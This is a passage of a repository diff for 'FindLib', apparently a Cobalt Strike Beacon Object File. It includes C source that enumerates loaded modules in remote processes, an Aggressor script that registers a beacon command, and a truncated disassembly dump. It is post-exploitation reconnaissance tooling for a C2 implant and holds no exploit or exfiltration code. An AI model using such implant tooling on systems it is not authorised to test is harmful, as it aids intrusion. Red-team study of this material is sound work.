-	KERNEL32$MultiByteToWideChar(CP_ACP, 0, input, -1, output, 100);
-	return output;
-}
-
-
-
-
-BOOL ListModules(int pid, char *targetModName) {
-    HANDLE hProcess;
-    MEMORY_BASIC_INFORMATION mbi;
-    char * base = NULL;
-	BOOL foundModule = FALSE;
-
-    hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
-	if (hProcess == NULL) return foundModule;
-
-	while (KERNEL32$VirtualQueryEx(hProcess, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
-		char fqModPath[MAX_PATH];
-		char modName[MAX_PATH];
-
-		if(targetModName != NULL) {
-			// only focus on the base address regions
-			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
-				if (KERNEL32$K32GetModuleBaseNameA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) modName, sizeof(modName) / sizeof(TCHAR))) {
-					if(MSVCRT$strcmp(targetModName, modName) == 0) {
-						WCHAR wFqModPath[100];
-						KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR));
-						KERNEL32$MultiByteToWideChar(CP_ACP, 0, fqModPath, -1, wFqModPath, 100);
-						BeaconPrintToStreamW(L"\nModulePath:\t%s\nModuleAddr:\t%#llx\n", wFqModPath, mbi.AllocationBase);
-						foundModule = TRUE;
-					}
-				}
-			}
-			// check the next region
-			base += mbi.RegionSize;
-		}
-		else {
-			
-			// only focus on the base address regions
-			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
-				if (KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR))) {
-					WCHAR wFqModPath[100];
-					KERNEL32$MultiByteToWideChar(CP_ACP, 0, fqModPath, -1, wFqModPath, 100);
-					
-					BeaconPrintToStreamW(L"ModulePath [%#llx]: %s\n", mbi.AllocationBase, wFqModPath);
-					foundModule = TRUE;
-				}
-				
-			}
-			// check the next region
-			base += mbi.RegionSize;
-		}
-	}
-	
-	KERNEL32$CloseHandle(hProcess);
-	return foundModule;
-}
-
-
-
-
-BOOL FindProcess(char *targetModName) {
-
-	int procID = 0;
-	HANDLE currentProc = NULL;
-	char procPath[MAX_PATH];
-	BOOL foundProc = FALSE;
-	BOOL res = FALSE;
-	
-	// resolve function address
-	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
-	
-	
-	// loop through all processes
-	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
-		procID = KERNEL32$GetProcessId(currentProc);
-		
-		if(procID == 4) continue;
-		
-		if (procID == KERNEL32$GetCurrentProcessId()) continue;
-		
-		if (procID != 0) foundProc = ListModules(procID, targetModName);
-		
-		if(foundProc) {
-			
-			WCHAR wProcName[100];
-			WCHAR wProcPath[256];
-			
-			KERNEL32$K32GetProcessImageFileNameA(currentProc, procPath, MAX_PATH);
-			
-			KERNEL32$MultiByteToWideChar(CP_ACP, 0, SHLWAPI$PathFindFileNameA(procPath), -1, wProcName, 100);
-			KERNEL32$MultiByteToWideChar(CP_ACP, 0, procPath, -1, wProcPath, 256);
-			
-			BeaconPrintToStreamW(L"ProcName:\t%s\nProcID:\t\t%d\nProcPath:\tC:\%s\n", wProcName, procID, wProcPath);
-			
-			res = TRUE;
-			
-		}
-		
-	}
-	return res;
-}
-
-
-
-
-
-int go(char *args, int len) {
-	int pid = 0;
-	BOOL res = NULL;
-	CHAR *option;
-	CHAR *targetModName;
-	datap parser;
-	
-	BeaconDataParse(&parser, args, len);
-	option = BeaconDataExtract(&parser, NULL);
-	
-	
-	if (MSVCRT$strcmp(option, "list") == 0) {
-		pid = BeaconDataInt(&parser);
-		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating loaded modules for PID: %d\n\n", pid);
-		BeaconPrintToStreamW(L"[+] FOUND MODULES:\n==============================================================\n"); 
-		res = ListModules(pid, NULL);
-	}
-	else if (MSVCRT$strcmp(option, "search") == 0) {
-		targetModName = BeaconDataExtract(&parser, NULL);
-		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating processes that loaded module: %s\n[!] Can take some time..\n\n", targetModName);
-		BeaconPrintToStreamW(L"[+] FOUND PROCESSES:\n==============================================================\n"); 
-		res = FindProcess(targetModName);
-	}
-	else {
-		BeaconPrintf(CALLBACK_ERROR, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
-		return 0;
-	}
-
-	if(!res) BeaconPrintf(CALLBACK_ERROR, "No modules found for this search query!\n\n");
-	else {
-		BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "\n[+] DONE");
-	}
-	return 0;
-}
-
-
-
+#include <windows.h>
+#include <stdio.h>
+#include <tlhelp32.h>
+#include <psapi.h>
+#include <shlwapi.h>
+#include "findlib.h"
+#include "beacon.h"
+
+#pragma comment(lib, "ntdll.lib")
+#pragma comment(lib, "Shlwapi.lib")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+
+BOOL ListModules(int pid, char *targetModName) {
+    HANDLE hProcess;
+    MEMORY_BASIC_INFORMATION mbi;
+    char * base = NULL;
+	BOOL foundModule = FALSE;
+
+    hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
+	if (hProcess == NULL) return foundModule;
+
+	while (KERNEL32$VirtualQueryEx(hProcess, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
+		char fqModPath[MAX_PATH];
+		char modName[MAX_PATH];
+
+		if(targetModName != NULL) {
+			// only focus on the base address regions
+			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
+				if (KERNEL32$K32GetModuleBaseNameA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) modName, sizeof(modName) / sizeof(TCHAR))) {
+					if(MSVCRT$strcmp(targetModName, modName) == 0) {
+						KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR));
+						internal_printf("\nModulePath:\t%s\nModuleAddr:\t%#llx\n", fqModPath, mbi.AllocationBase);
+						foundModule = TRUE;
+					}
+				}
+			}
+			// check the next region
+			base += mbi.RegionSize;
+		}
+		else {
+			
+			// only focus on the base address regions
+			if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
+				if (KERNEL32$K32GetModuleFileNameExA(hProcess, (HMODULE) mbi.AllocationBase, (LPSTR) fqModPath, sizeof(fqModPath) / sizeof(TCHAR))) {
+					internal_printf("ModulePath [%#llx]: %s\n", mbi.AllocationBase, fqModPath);
+					foundModule = TRUE;
+				}
+			}
+			// check the next region
+			base += mbi.RegionSize;
+		}
+	}
+	KERNEL32$CloseHandle(hProcess);
+	return foundModule;
+}
+
+
+BOOL FindProcess(char *targetModName) {
+	int procID = 0;
+	HANDLE currentProc = NULL;
+	char procPath[MAX_PATH];
+	char procName[MAX_PATH];
+	BOOL foundProc = FALSE;
+	BOOL res = FALSE;
+	
+	// resolve function address
+	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
+	
+	// loop through all processes
+	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
+		procID = KERNEL32$GetProcessId(currentProc);
+		
+		if(procID == 4) continue;
+		if (procID == KERNEL32$GetCurrentProcessId()) continue;
+		if (procID != 0) foundProc = ListModules(procID, targetModName);
+		if(foundProc) {
+			KERNEL32$K32GetProcessImageFileNameA(currentProc, procPath, MAX_PATH);
+			MSVCRT$strncpy(procName, SHLWAPI$PathFindFileNameA(procPath), MAX_PATH);
+			internal_printf("ProcName:\t%s\nProcID:\t\t%d\nProcPath:\tC:\%s\n", procName, procID, procPath);
+			res = TRUE;
+		}
+	}
+	return res;
+}
+
+
+int go(char *args, int len) {
+	int pid = 0;
+	BOOL res = NULL;
+	CHAR *option;
+	CHAR *targetModName;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	option = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+	
+	if (MSVCRT$strcmp(option, "list") == 0) {
+		pid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating loaded modules for PID: %d\n\n", pid);
+		internal_printf("[+] FOUND MODULES:\n==============================================================\n"); 
+		res = ListModules(pid, NULL);
+	}
+	else if (MSVCRT$strcmp(option, "search") == 0) {
+		targetModName = BeaconDataExtract(&parser, NULL);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating processes that loaded module: %s\n[!] Can take some time..\n\n", targetModName);
+		internal_printf("[+] FOUND PROCESSES:\n==============================================================\n"); 
+		res = FindProcess(targetModName);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+		return 0;
+	}
+
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "No modules found for this search query!\n\n");
+	else {
+		printoutput(TRUE);
+	}
+	return 0;
+}
+
+
+

+ 53 - 53
KIT/FindLib/findlib.cna

@@ -1,53 +1,53 @@
-# author REDMED-X
-
-beacon_command_register(
-    "findlib", "Find loaded module(s) in remote process(es)",
-    "INFO:\nFind a specific loaded module in all processes OR list all loaded modules in a specific process.\n\nOPTIONS:\n[search]: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).\n[list]: list all loaded modules in a remote process.\n\n" .
-    "USAGE:\nfindlib search <module name>\nfindlib list <pid>\n\n");
-	
-
-
-alias findlib {
-    $bid = $1;
-    $option = $2;
-    $target = $3;
-
-    if ($option eq "") {
-        berror($bid, "Please specify one of the following enumeration options: search | list\n");
-        return;
-    }
-
-    if ($option eq "search" || $option eq "list") {
-        if ($option eq "search" && $target eq "") {
-            berror($bid, "Please specify a module name to search for\n");
-            return;
-        }
-
-        if ($option eq "list" && $target eq "") {
-            berror($bid, "Please specify the pid of the target process to enumerate\n");
-            return;
-        }
-    }
-    else {
-        berror($bid, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
-        return;
-    }
-
-    # Read in the right BOF file
-    $handle = openf(script_resource("findlib.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-    # Pack our arguments
-    if ($option eq "search") {
-       $arg_data  = bof_pack($bid, "zz", $option, $target);
-    }
-    else {
-        $arg_data  = bof_pack($bid, "zi", $option, $target);
-    }
-
-    blog($bid, "Tasked to enumerate loaded modules..");
-    beacon_inline_execute($bid, $data, "go", $arg_data);
-}
-
-
+# author REDMED-X
+
+beacon_command_register(
+    "findlib", "Find loaded module(s) in remote process(es)",
+    "INFO:\nFind a specific loaded module in all processes OR list all loaded modules in a specific process.\n\nOPTIONS:\n[search]: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).\n[list]: list all loaded modules in a remote process.\n\n" .
+    "USAGE:\nfindlib search <module name>\nfindlib list <pid>\n\n");
+	
+
+
+alias findlib {
+    $bid = $1;
+    $option = $2;
+    $target = $3;
+
+    if ($option eq "") {
+        berror($bid, "Please specify one of the following enumeration options: search | list\n");
+        return;
+    }
+
+    if ($option eq "search" || $option eq "list") {
+        if ($option eq "search" && $target eq "") {
+            berror($bid, "Please specify a module name to search for\n");
+            return;
+        }
+
+        if ($option eq "list" && $target eq "") {
+            berror($bid, "Please specify the pid of the target process to enumerate\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This enumeration option isn't supported. Please specify one of the following enumeration options: search | list\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("findlib.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    if ($option eq "search") {
+       $arg_data  = bof_pack($bid, "zz", $option, $target);
+    }
+    else {
+        $arg_data  = bof_pack($bid, "zi", $option, $target);
+    }
+
+    blog($bid, "Tasked to enumerate loaded modules..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 529 - 0
KIT/FindLib/findlib.disasm

@@ -0,0 +1,529 @@
+Microsoft (R) COFF/PE Dumper Version 14.29.30148.0
+Copyright (C) Microsoft Corporation.  All rights reserved.
+
+
+Dump of file findlib.o
+
+File Type: COFF OBJECT
+
+bofstart:
+  0000000000000000: 48 83 EC 28        sub         rsp,28h
+  0000000000000004: BA 01 00 00 00     mov         edx,1
+  0000000000000009: B9 00 20 00 00     mov         ecx,2000h
+  000000000000000E: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$calloc]
+  0000000000000014: 48 89 05 00 00 00  mov         qword ptr [output],rax
+                    00
+  000000000000001B: 33 C0              xor         eax,eax
+  000000000000001D: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  0000000000000024: B8 01 00 00 00     mov         eax,1
+  0000000000000029: 48 83 C4 28        add         rsp,28h
+  000000000000002D: C3                 ret
+  000000000000002E: CC                 int         3
+  000000000000002F: CC                 int         3
+  0000000000000030: CC                 int         3
+  0000000000000031: CC                 int         3
+  0000000000000032: CC                 int         3
+  0000000000000033: CC                 int         3
+  0000000000000034: CC                 int         3
+  0000000000000035: CC                 int         3
+  0000000000000036: CC                 int         3
+  0000000000000037: CC                 int         3
+  0000000000000038: CC                 int         3
+  0000000000000039: CC                 int         3
+  000000000000003A: CC                 int         3
+  000000000000003B: CC                 int         3
+  000000000000003C: CC                 int         3
+  000000000000003D: CC                 int         3
+  000000000000003E: CC                 int         3
+  000000000000003F: CC                 int         3
+internal_printf:
+  0000000000000040: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx
+  0000000000000045: 48 89 54 24 10     mov         qword ptr [rsp+10h],rdx
+  000000000000004A: 4C 89 44 24 18     mov         qword ptr [rsp+18h],r8
+  000000000000004F: 4C 89 4C 24 20     mov         qword ptr [rsp+20h],r9
+  0000000000000054: 48 83 EC 58        sub         rsp,58h
+  0000000000000058: C7 44 24 20 00 00  mov         dword ptr [rsp+20h],0
+                    00 00
+  0000000000000060: C7 44 24 24 00 00  mov         dword ptr [rsp+24h],0
+                    00 00
+  0000000000000068: 48 C7 44 24 38 00  mov         qword ptr [rsp+38h],0
+                    00 00 00
+  0000000000000071: 48 C7 44 24 30 00  mov         qword ptr [rsp+30h],0
+                    00 00 00
+  000000000000007A: 48 8D 44 24 68     lea         rax,[rsp+68h]
+  000000000000007F: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  0000000000000084: 4C 8B 4C 24 28     mov         r9,qword ptr [rsp+28h]
+  0000000000000089: 4C 8B 44 24 60     mov         r8,qword ptr [rsp+60h]
+  000000000000008E: 33 D2              xor         edx,edx
+  0000000000000090: 33 C9              xor         ecx,ecx
+  0000000000000092: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$vsnprintf]
+  0000000000000098: 89 44 24 20        mov         dword ptr [rsp+20h],eax
+  000000000000009C: 48 C7 44 24 28 00  mov         qword ptr [rsp+28h],0
+                    00 00 00
+  00000000000000A5: 83 7C 24 20 FF     cmp         dword ptr [rsp+20h],0FFFFFFFFh
+  00000000000000AA: 75 05              jne         00000000000000B1
+  00000000000000AC: E9 C2 01 00 00     jmp         0000000000000273
+  00000000000000B1: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  00000000000000B7: 41 B8 00 20 00 00  mov         r8d,2000h
+  00000000000000BD: BA 08 00 00 00     mov         edx,8
+  00000000000000C2: 48 8B C8           mov         rcx,rax
+  00000000000000C5: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapAlloc]
+  00000000000000CB: 48 89 44 24 40     mov         qword ptr [rsp+40h],rax
+  00000000000000D0: 48 63 44 24 20     movsxd      rax,dword ptr [rsp+20h]
+  00000000000000D5: 48 89 44 24 48     mov         qword ptr [rsp+48h],rax
+  00000000000000DA: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  00000000000000E0: 48 8B 4C 24 48     mov         rcx,qword ptr [rsp+48h]
+  00000000000000E5: 4C 8B C1           mov         r8,rcx
+  00000000000000E8: BA 08 00 00 00     mov         edx,8
+  00000000000000ED: 48 8B C8           mov         rcx,rax
+  00000000000000F0: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapAlloc]
+  00000000000000F6: 48 89 44 24 30     mov         qword ptr [rsp+30h],rax
+  00000000000000FB: 48 8D 44 24 68     lea         rax,[rsp+68h]
+  0000000000000100: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  0000000000000105: 48 63 44 24 20     movsxd      rax,dword ptr [rsp+20h]
+  000000000000010A: 4C 8B 4C 24 28     mov         r9,qword ptr [rsp+28h]
+  000000000000010F: 4C 8B 44 24 60     mov         r8,qword ptr [rsp+60h]
+  0000000000000114: 48 8B D0           mov         rdx,rax
+  0000000000000117: 48 8B 4C 24 30     mov         rcx,qword ptr [rsp+30h]
+  000000000000011C: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$vsnprintf]
+  0000000000000122: 48 C7 44 24 28 00  mov         qword ptr [rsp+28h],0
+                    00 00 00
+  000000000000012B: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  0000000000000132: 8B 4C 24 20        mov         ecx,dword ptr [rsp+20h]
+  0000000000000136: 03 C8              add         ecx,eax
+  0000000000000138: 8B C1              mov         eax,ecx
+  000000000000013A: 3D 00 20 00 00     cmp         eax,2000h
+  000000000000013F: 7D 3E              jge         000000000000017F
+  0000000000000141: 48 63 44 24 20     movsxd      rax,dword ptr [rsp+20h]
+  0000000000000146: 0F B7 0D 00 00 00  movzx       ecx,word ptr [currentoutsize]
+                    00
+  000000000000014D: 48 8B 15 00 00 00  mov         rdx,qword ptr [output]
+                    00
+  0000000000000154: 48 03 D1           add         rdx,rcx
+  0000000000000157: 48 8B CA           mov         rcx,rdx
+  000000000000015A: 4C 8B C0           mov         r8,rax
+  000000000000015D: 48 8B 54 24 30     mov         rdx,qword ptr [rsp+30h]
+  0000000000000162: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memcpy]
+  0000000000000168: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  000000000000016F: 03 44 24 20        add         eax,dword ptr [rsp+20h]
+  0000000000000173: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  000000000000017A: E9 C8 00 00 00     jmp         0000000000000247
+  000000000000017F: 48 8B 44 24 30     mov         rax,qword ptr [rsp+30h]
+  0000000000000184: 48 89 44 24 38     mov         qword ptr [rsp+38h],rax
+  0000000000000189: 83 7C 24 20 00     cmp         dword ptr [rsp+20h],0
+  000000000000018E: 0F 8E B3 00 00 00  jle         0000000000000247
+  0000000000000194: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  000000000000019B: B9 00 20 00 00     mov         ecx,2000h
+  00000000000001A0: 2B C8              sub         ecx,eax
+  00000000000001A2: 8B C1              mov         eax,ecx
+  00000000000001A4: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  00000000000001A8: 8B 44 24 24        mov         eax,dword ptr [rsp+24h]
+  00000000000001AC: 39 44 24 20        cmp         dword ptr [rsp+20h],eax
+  00000000000001B0: 7D 08              jge         00000000000001BA
+  00000000000001B2: 8B 44 24 20        mov         eax,dword ptr [rsp+20h]
+  00000000000001B6: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  00000000000001BA: 48 63 44 24 24     movsxd      rax,dword ptr [rsp+24h]
+  00000000000001BF: 0F B7 0D 00 00 00  movzx       ecx,word ptr [currentoutsize]
+                    00
+  00000000000001C6: 48 8B 15 00 00 00  mov         rdx,qword ptr [output]
+                    00
+  00000000000001CD: 48 03 D1           add         rdx,rcx
+  00000000000001D0: 48 8B CA           mov         rcx,rdx
+  00000000000001D3: 4C 8B C0           mov         r8,rax
+  00000000000001D6: 48 8B 54 24 38     mov         rdx,qword ptr [rsp+38h]
+  00000000000001DB: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memcpy]
+  00000000000001E1: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  00000000000001E8: 03 44 24 24        add         eax,dword ptr [rsp+24h]
+  00000000000001EC: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  00000000000001F3: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  00000000000001FA: 3D 00 20 00 00     cmp         eax,2000h
+  00000000000001FF: 75 07              jne         0000000000000208
+  0000000000000201: 33 C9              xor         ecx,ecx
+  0000000000000203: E8 00 00 00 00     call        printoutput
+  0000000000000208: 48 63 44 24 24     movsxd      rax,dword ptr [rsp+24h]
+  000000000000020D: 4C 8B C0           mov         r8,rax
+  0000000000000210: 33 D2              xor         edx,edx
+  0000000000000212: 48 8B 4C 24 40     mov         rcx,qword ptr [rsp+40h]
+  0000000000000217: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memset]
+  000000000000021D: 48 63 44 24 24     movsxd      rax,dword ptr [rsp+24h]
+  0000000000000222: 48 8B 4C 24 38     mov         rcx,qword ptr [rsp+38h]
+  0000000000000227: 48 03 C8           add         rcx,rax
+  000000000000022A: 48 8B C1           mov         rax,rcx
+  000000000000022D: 48 89 44 24 38     mov         qword ptr [rsp+38h],rax
+  0000000000000232: 8B 44 24 24        mov         eax,dword ptr [rsp+24h]
+  0000000000000236: 8B 4C 24 20        mov         ecx,dword ptr [rsp+20h]
+  000000000000023A: 2B C8              sub         ecx,eax
+  000000000000023C: 8B C1              mov         eax,ecx
+  000000000000023E: 89 44 24 20        mov         dword ptr [rsp+20h],eax
+  0000000000000242: E9 42 FF FF FF     jmp         0000000000000189
+  0000000000000247: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  000000000000024D: 4C 8B 44 24 30     mov         r8,qword ptr [rsp+30h]
+  0000000000000252: 33 D2              xor         edx,edx
+  0000000000000254: 48 8B C8           mov         rcx,rax
+  0000000000000257: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapFree]
+  000000000000025D: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  0000000000000263: 4C 8B 44 24 40     mov         r8,qword ptr [rsp+40h]
+  0000000000000268: 33 D2              xor         edx,edx
+  000000000000026A: 48 8B C8           mov         rcx,rax
+  000000000000026D: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapFree]
+  0000000000000273: 48 83 C4 58        add         rsp,58h
+  0000000000000277: C3                 ret
+  0000000000000278: CC                 int         3
+  0000000000000279: CC                 int         3
+  000000000000027A: CC                 int         3
+  000000000000027B: CC                 int         3
+  000000000000027C: CC                 int         3
+  000000000000027D: CC                 int         3
+  000000000000027E: CC                 int         3
+  000000000000027F: CC                 int         3
+printoutput:
+  0000000000000280: 89 4C 24 08        mov         dword ptr [rsp+8],ecx
+  0000000000000284: 48 83 EC 38        sub         rsp,38h
+  0000000000000288: 48 C7 44 24 20 00  mov         qword ptr [rsp+20h],0
+                    00 00 00
+  0000000000000291: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  0000000000000298: 44 8B C0           mov         r8d,eax
+  000000000000029B: 48 8B 15 00 00 00  mov         rdx,qword ptr [output]
+                    00
+  00000000000002A2: 33 C9              xor         ecx,ecx
+  00000000000002A4: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconOutput]
+  00000000000002AA: 33 C0              xor         eax,eax
+  00000000000002AC: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  00000000000002B3: 41 B8 00 20 00 00  mov         r8d,2000h
+  00000000000002B9: 33 D2              xor         edx,edx
+  00000000000002BB: 48 8B 0D 00 00 00  mov         rcx,qword ptr [output]
+                    00
+  00000000000002C2: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memset]
+  00000000000002C8: 83 7C 24 40 00     cmp         dword ptr [rsp+40h],0
+  00000000000002CD: 74 18              je          00000000000002E7
+  00000000000002CF: 48 8B 0D 00 00 00  mov         rcx,qword ptr [output]
+                    00
+  00000000000002D6: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$free]
+  00000000000002DC: 48 C7 05 00 00 00  mov         qword ptr [output],0
+                    00 00 00 00 00
+  00000000000002E7: 48 83 C4 38        add         rsp,38h
+  00000000000002EB: C3                 ret
+  00000000000002EC: CC                 int         3
+  00000000000002ED: CC                 int         3
+  00000000000002EE: CC                 int         3
+  00000000000002EF: CC                 int         3
+  00000000000002F0: CC                 int         3
+  00000000000002F1: CC                 int         3
+  00000000000002F2: CC                 int         3
+  00000000000002F3: CC                 int         3
+  00000000000002F4: CC                 int         3
+  00000000000002F5: CC                 int         3
+  00000000000002F6: CC                 int         3
+  00000000000002F7: CC                 int         3
+  00000000000002F8: CC                 int         3
+  00000000000002F9: CC                 int         3
+  00000000000002FA: CC                 int         3
+  00000000000002FB: CC                 int         3
+  00000000000002FC: CC                 int         3
+  00000000000002FD: CC                 int         3
+  00000000000002FE: CC                 int         3
+  00000000000002FF: CC                 int         3
+ListModules:
+  0000000000000300: 48 89 54 24 10     mov         qword ptr [rsp+10h],rdx
+  0000000000000305: 89 4C 24 08        mov         dword ptr [rsp+8],ecx
+  0000000000000309: 48 81 EC 98 02 00  sub         rsp,298h
+                    00
+  0000000000000310: 48 C7 44 24 30 00  mov         qword ptr [rsp+30h],0
+                    00 00 00
+  0000000000000319: C7 44 24 20 00 00  mov         dword ptr [rsp+20h],0
+                    00 00
+  0000000000000321: 44 8B 84 24 A0 02  mov         r8d,dword ptr [rsp+2A0h]
+                    00 00
+  0000000000000329: 33 D2              xor         edx,edx
+  000000000000032B: B9 10 04 00 00     mov         ecx,410h
+  0000000000000330: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$OpenProcess]
+  0000000000000336: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  000000000000033B: 48 83 7C 24 28 00  cmp         qword ptr [rsp+28h],0
+  0000000000000341: 75 09              jne         000000000000034C
+  0000000000000343: 8B 44 24 20        mov         eax,dword ptr [rsp+20h]
+  0000000000000347: E9 4E 01 00 00     jmp         000000000000049A
+  000000000000034C: 41 B9 30 00 00 00  mov         r9d,30h
+  0000000000000352: 4C 8D 44 24 38     lea         r8,[rsp+38h]
+  0000000000000357: 48 8B 54 24 30     mov         rdx,qword ptr [rsp+30h]
+  000000000000035C: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  0000000000000361: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$VirtualQueryEx]
+  0000000000000367: 48 83 F8 30        cmp         rax,30h
+  000000000000036B: 0F 85 1A 01 00 00  jne         000000000000048B
+  0000000000000371: 48 83 BC 24 A8 02  cmp         qword ptr [rsp+2A8h],0
+                    00 00 00
+  000000000000037A: 0F 84 A0 00 00 00  je          0000000000000420
+  0000000000000380: 48 8B 44 24 38     mov         rax,qword ptr [rsp+38h]
+  0000000000000385: 48 39 44 24 40     cmp         qword ptr [rsp+40h],rax
+  000000000000038A: 75 7D              jne         0000000000000409
